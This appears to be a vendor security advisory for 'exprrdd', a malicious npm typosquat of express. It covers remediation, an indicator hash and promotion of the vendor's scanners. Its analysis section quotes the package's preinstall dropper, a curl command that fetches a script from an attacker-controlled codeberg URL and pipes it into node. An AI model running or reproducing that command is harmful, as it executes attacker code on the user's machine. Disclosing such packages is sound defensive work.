Which versions of exprrdd are malicious?

The following npm versions of exprrdd are flagged malicious: 5.2.1. Treat any of these as compromised.

How do I remediate exprrdd if I installed it?

exprrdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exprrdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.

I already installed exprrdd — how do I know if it already compromised me?

If exprrdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.

Is exprrdd part of a known attack campaign?

Yes — exprrdd is associated with the IN-MAL-2026-020629 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

How do I find exprrdd across my projects, lockfiles, and CI pipelines?

Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exprrdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exprrdd across your stack and pipelines.

Malicious package

exprrddnpm

exprrdd is a confirmed malicious npm package (MAL-2026-17244) that typosquats a legitimate package to trick installs (malicious version 5.2.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in exprrdd (npm)

MAL-2026-17244

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall exprrdd

What this malware does

Package 'exprrdd' copies express's metadata (name-lookalike, description, author, contributors, repository, keywords, dependencies) as cover for a preinstall dropper. package.json line 98 declares a preinstall script that runs curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js and pipes the response directly into node, executing attacker-controlled JavaScript on the installer's machine at npm install time. The fetched script is unpinned and mutable (a raw branch URL fronted by a web.archive.org rewrite), so whoever controls the codeberg.org/hellscripter repository gains arbitrary code execution on every host that installs this package. The typosquat name maximizes accidental installs by developers mistyping 'express'.

Malicious versions

1 flagged

5.2.1

Indicators of compromise (SHA-256)

bc1c956097cd13e80298a796a5026ebd91ece7c2ad53d226d3729f0b0b0ee9f3

Detection & response playbook

Typosquat

Find it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for exprrdd (version 5.2.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging exprrdd across your stack and pipelines.
If you installed it — respond
exprrdd is a typosquat — you almost certainly intended a legitimately-named package. Remove exprrdd, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If exprrdd was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks exprrdd before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Frequently asked questions

No. exprrdd on npm has been identified as a malicious package (version 5.2.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-020629

References

npmjs.com

Credits

Amazon Inspector · finder

Detect & block this

O3 blocks exprrdd-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Malware detection Runtime egress monitoring

Explore

All malware advisories How O3 detects malware Vulnerability database